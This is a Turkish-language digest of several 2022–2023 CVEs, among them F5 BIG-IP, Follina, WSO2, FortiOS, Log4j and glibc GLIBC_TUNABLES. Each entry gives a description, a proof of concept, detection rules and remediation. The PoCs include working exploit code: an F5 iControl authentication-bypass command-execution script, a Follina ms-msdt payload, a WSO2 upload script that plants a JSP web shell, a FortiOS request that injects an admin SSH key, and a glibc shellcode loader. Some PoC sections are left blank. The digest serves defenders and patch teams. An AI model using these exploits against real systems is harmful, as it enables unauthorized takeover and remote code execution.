CVE-2022-1388
05/05/2022 tarihinde yayınlanan, F-5 BIG-IP ürününü etkileyen bu zafiyet, gönderilen requestler ile iControl REST authentication bypass edilebilmesinden kaynaklanır. CVSS 3.1 skoru 9.8 olarak hesaplanmıştır (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
PoC
#!/usr/bin/python3
import argparse
import requests
import urllib3
urllib3.disable_warnings()
def exploit(target, command):
url = f'https://{target}/mgmt/tm/util/bash'
headers = {
'Host': '127.0.0.1',
'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
'X-F5-Auth-Token': 'asdf',
'Connection': 'X-F5-Auth-Token',
'Content-Type': 'application/json'
}
j = {"command":"run","utilCmdArgs":"-c '{0}'".format(command)}
r = requests.post(url, headers=headers, json=j, verify=False)
r.raise_for_status()
if ( r.status_code != 204 and r.headers["content-type"].strip().startswith("application/json")):
print(r.json()['commandResult'].strip())
else:
print("Response is empty! Target does not seems to be vulnerable..")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-c', '--command', help='The command to execute')
args = parser.parse_args()
exploit(args.target, args.command)
/mgmt/tm/util/bash pathine gönderilen post requestte utilCmdArgs parametresinin aldığı içeriğin sistemde komut olarak çalıştırıldığı görülmektedir.
Tespit
Aşağıdaki snort rule ile tespit edilebilir:
alert tcp any any -> any $HTTP_PORTS (msg:”BIG-IP F5 iControl:HTTP POST URI
‘/mgmt./tm/util/bash’ and content data ‘command’ and ‘utilCmdArgs’:CVE2022-1388”; sid:1; rev:1; flow:established,to_server;
flowbits:isnotset,bigip20221388.tagged; content:”POST”; http_method;
content:”/mgmt/tm/util/bash”; http_uri; content:”command”;
http_client_body; content:”utilCmdArgs”; http_client_body;
flowbits:set,bigip20221388.tagged; tag:session,10,packets; reference:cve2022-1388; reference:url,github.com/alt3kx/CVE-2022-1388_PoC; priority:2;
metadata:service http;)
İyileştirme
Ürün sürümü yükseltilmelidir.
CVE-2022-30190
06/01/2022 tarihinde yayınlanan bu zafiyet Microsoft Windows Support Diagnostic Tool (MSDT) üzerinde uzaktan komut çalıştırmaya izin verir. CVSS skoru 7.8 olarak hesaplanmıştır (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
PoC
https://github.com/ItsNee/Follina-CVE-2022-30190-POC/tree/main adresinde PoC bulunmaktadır.
python3 follina.py --payload-url "<http://192.168.200.144:1337/pwn.html>"
komutu ile zararlı word dosyası oluşturulup, hedef tarafından çalıştırılması gerekir. Örnek zararlı html kodunun içeriği aşağıdadır:
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\\\\\\\localhost\\\\c$\\\\windows\\\\system32\\\\calc)/.exe\"";
</script>
Tespit
Logpoint için örnek aşağıdadır:
label="Process" label=Create
parent_process IN ["*\winword.exe", "*\excel.exe", "*\outlook.exe"]
"process"="*\msdt.exe" command IN ["* ms-msdt:/id *", "* ms-msdt:-id *"] command="*IT_RebrowseForFile=*IT_BrowseForFile=*"
| chart count() by host, user, parent_process, "process", command, parent_command
İyileştirme
MSDT URL Protokolünü devre dışı bırakın. reg delete HKEY_CLASSES_ROOT\ms-msdt /f
CVE-2022-22960
VMware Workspace ONE Access, Identity Manager ve vRealize Automation, support scriptlerindeki yanlış yapılandırılmış izinler nedeniyle yetki yükseltme zafiyeti içerir. Yerel erişime sahip saldırgan, root yetkileri elde edebilir. CVSS skoru 7.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) olarak hesaplanmıştır.
PoC
/usr/local/horizon/scripts/publishCaCert.hzn dosyasının üzerine yazılarak exploit edilir. Exploit dosyası aşağıdaki gibidir:

İyileştirme
VMware ürünleri son sürüme yükseltilmeli, eski sürümler kullanımdan kaldırılmalıdır.
CVE-2022-27924
Zimbra Collaboration (diğer adıyla ZCS) 8.8.15 ve 9.0, unauthenticated saldırganın, hedeflenen bir sistemde rastgele memcache komutları eklemesine izin verir. Bu memcache komutları ayıklanamaz hale gelir ve rastgele önbelleğe alınmış girdilerin üzerine yazılmasına neden olur. CVSS skoru 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) olarak belirlenmiştir.
PoC
Request:

Servera gidecek içerik aşağıdaki gibi olacaktır.

İyileştirme
ZCS son sürüme yükseltilmelidir.
CVE-2022-29464
Bazı WSO2 ürünleri, RCE ile sonuçlanan kısıtlanmamış dosya yüklemesine izin verir. Saldırgan, ../../../../repository/deployment/server/webapps dizini gibi web kökü altındaki bir dizine ulaşmak için Content-Disposition directory traversal dizisine sahip bir /fileupload endpointi kullanmalıdır. CVSS skoru 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) olarak hesaplanmıştır.
PoC



Örnek exploit scripti:
import requests, urllib3, sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")
exit()
host, file = sys.argv[1:]
shell = """<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": shell}
response = requests.post(f'{host}/fileupload/toolsAny', files=files, verify=False)
print(f"shell @ {host}/authenticationendpoint/{file}")
#python3 exploit.py https://host:9443/ ArbitraryShellName.jsp
Exploit için curl komutu:
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().
exec(request.getParameter("cmd"),null,null); %>' | curl -kv -F ../../
../../repository/deployment/server/webapps/authenticationendpoint/r7.
jsp=@- https://10.0.0.20:9443/fileupload/toolsAny
İyileştirme
Ürün son sürüme yükseltilmeli, eski versiyonlar kullanımdan kaldırılmalıdır.
CVE-2022-22536
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 ve SAP Web Dispatcher, request smuggling and request concatenation zafiyetine sahiptir. Snauthenticated saldırgan, hedefin isteğinin önüne rastgele veriler ekleyebilir. Bu şekilde saldırgan, kurbanı taklit eden işlevler yürütebilir veya seb önbelleklerini zehirleyebilir. CVSS skoru 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) olarak hesaplanmıştır.
PoC
Exploit için python script aşağıdadır:
https://github.com/Onapsis/onapsis_icmad_scanner/blob/master/src/ICMAD_scanner.py
Ayrıca basit bir shell script script de exploit edilebilir


İyileştirme
SAP tarafından yayınlanan güvenlik yamaları uygulanmalı, ürün son sürüme yükseltilmelidir.
CVE-2022-42475
FortiOS SSL-VPN 7.2.0 – 7.2.2, 7.0.0 – 7.0.8, 6.4.0 – 6.4.10, 6.2.0 – 6.2.11, 6.0.15 ve öncesi ile FortiProxy SSL-VPN 7.2.0 – 7.2.1, 7.0.7 ve öncesi sürümlerindeki heap-based buffer overflow [CWE-122] zafiyeti, unauthenticated saldırganın özel olarak hazırlanmış requestler ile rastgele kod veya komut çalıştırmasına izin verebilir. CVSS skoru 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) olarak hesaplanmıştır.
PoC
Örnek exploit kodu aşağıdadır:
https://github.com/scrt/cve-2022-42475/blob/main/cve-2022-42475.py
İyileştirme
Ürünleri son sürüme yükseltiniz.
CVE-2021-45046
Apache Log4j 2.15.0’da CVE-2021-44228’e yönelik düzeltmenin varsayılan olmayan bazı yapılandırmalarda eksik olduğu tespit edildi. Bu durum, günlük yapılandırması bir Bağlam Araması (örneğin, $${ctx:loginId}) veya Thread Context Map kalıbı (%X, %mdc veya %MDC) ile varsayılan olmayan bir kalıp düzeni kullandığında Thread Context Map (MDC) girdi verileri üzerinde kontrol sahibi olan saldırganların bir JNDI Arama kalıbı kullanarak kötü amaçlı girdi verileri oluşturmasına ve bilgi sızıntısına veya uzaktan kod yürütülmesine neden olabilir.
PoC

Örnek exploit komutu:

Tespit
DeviceProcessEvents
| where ProcessCommandLine has_all('${jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop')
//Removing FPs
| where not(ProcessCommandLine has_any('stackstorm', 'homebrew'))
DeviceProcessEvents
| where ProcessCommandLine matches regex @'(?i)\$\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\/\/(\$\{([a-z]){1,20}:([a-z]){1,20}\})?(([a-zA-Z0-9]|-){2,100})?(\.([a-zA-Z0-9]|-){2,100})?\.([a-zA-Z0-9]|-){2,100}\.([a-z0-9]){2,20}(\/).*}'
or InitiatingProcessCommandLine matches regex @'(?i)\$\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\/\/(\$\{([a-z]){1,20}:([a-z]){1,20}\})?(([a-zA-Z0-9]|-){2,100})?(\.([a-zA-Z0-9]|-){2,100})?\.([a-zA-Z0-9]|-){2,100}\.([a-z0-9]){2,20}(\/).*}'
CloudAppEvents
| where Timestamp > datetime("2021-12-09")
| where UserAgent contains "jndi:"
or AccountDisplayName contains "jndi:"
or Application contains "jndi:"
or AdditionalFields contains "jndi:"
| project ActionType, ActivityType, Application, AccountDisplayName, IPAddress, UserAgent, AdditionalFields
İyileştirme
Ürünün son versiyona yükseltilmesi, mesaj arama desenleri için desteğin kaldırılması ve JNDI işlevselliğinin varsayılan olarak devre dışı bırakılması gerekmektedir.
CVE-2022-40684
Fortinet FortiOS sürüm 7.2.0 ila 7.2.1 ve 7.0.0 ila 7.0.6, FortiProxy sürüm 7.2.0 ve sürüm 7.0.0 ila 7.0.6 ve FortiSwitchManager’da alternatif bir yol veya kanal [CWE-288] kullanan kimlik doğrulama atlama 7.2.0 ve 7.0.0 sürümleri, kimliği doğrulanmamış bir saldırganın, özel hazırlanmış HTTP veya HTTPS istekleri aracılığıyla yönetim arayüzünde işlemler gerçekleştirmesine olanak tanır. CVSS skoru 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) olarak belirlenmiştir.
PoC
Requestlere Forwarded headerı eklenir ve client_ip “127.0.0.1” olarak set edilerek kimlik doğrulama atlanılabilir. Örnek exploit requesti:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for="[127.0.0.1]:8000″;by="[127.0.0.1]:9000″; Content-Length: 612 { "ssh-public-key1": "\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected]\"" }
Ayrıca aşağıdaki python scripti kullanılabilir:
https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py
İyileştirme
Ürünleri son sürüme yükseltin. Ayrıca HTTP/HTTPS yönetici arayüzünü devre dışı bırakın ve erişebilecek ip adreslerini kısıtlayın.
config firewall address
edit "my_allowed_addresses"
set subnet <MY IP> <MY SUBNET>
end
Then create an Address Group:
config firewall addrgrp
edit "MGMT_IPs"
set member "my_allowed_addresses"
end
config firewall local-in-policy
edit 1
set intf port1
set srcaddr "MGMT_IPs"
set dstaddr "all"
set action accept
set service HTTPS HTTP
set schedule "always"
set status enable
next
edit 2
set intf "any"
set srcaddr "all"
set dstaddr "all"
set action deny
set service HTTPS HTTP
set schedule "always"
set status enable
end
CVE-2023-4911
GNU C Kütüphanesi’nin dinamik yükleyicisi ld.so’da GLIBC_TUNABLES ortam değişkenini işlerken bir buffer overflow keşfedildi. Bu sorun, saldırganın SUID izniyle binary’leri başlatırken kötü niyetle hazırlanmış GLIBC_TUNABLES ortam değişkenlerini kullanarak yükseltilmiş yetkilerle kod çalıştırmasına olanak sağlayabilir. CVSS skoru 7.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) olarak hesaplanmıştır.
PoC
Örnek zafiyet tespit kodu:
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Eğer “Segmentation fault (core dumped)” çıktısı alınırsa hedef zafiyetlidir.
“libc.so.6” dosyası oluşturulur, aşağıdaki python scripti çalıştırılır ve exploit gcc exp.c -o exp
komutu ile derlenir.
import subprocess
import os
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
nm = subprocess.check_output(['nm', '-D', libc_path])
libc_start_main = [x for x in nm.splitlines() if b'__libc_start_main@@GLIBC_2.34' in x][0]
offset = int(libc_start_main.split(b' ')[0], 16)
lib = open(libc_path, 'rb').read()
s = b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
# https://shell-storm.org/shellcode/files/shellcode-77.html
libx = lib[:offset] + s + lib[offset+len(s):]
os.mkdir('./"')
open('./"/libc.so.6', 'wb').write(libx)
Tespit
Elastic için örnek rule:
sequence by host.id, process.parent.entity_id, process.executable with maxspan=5s
[process where host.os.type == "linux" and event.action == "exec" and event.type == "start" and
process.env_vars : "*GLIBC_TUNABLES=glibc.*=glibc.*=*"] with runs=5
İyileştirme
Güncelleme yapılmalıdır ve hemen güncelleme yapamayan kullanıcılar “GLIBC_TUNABLES” ortam değişkenini unset etmelidir.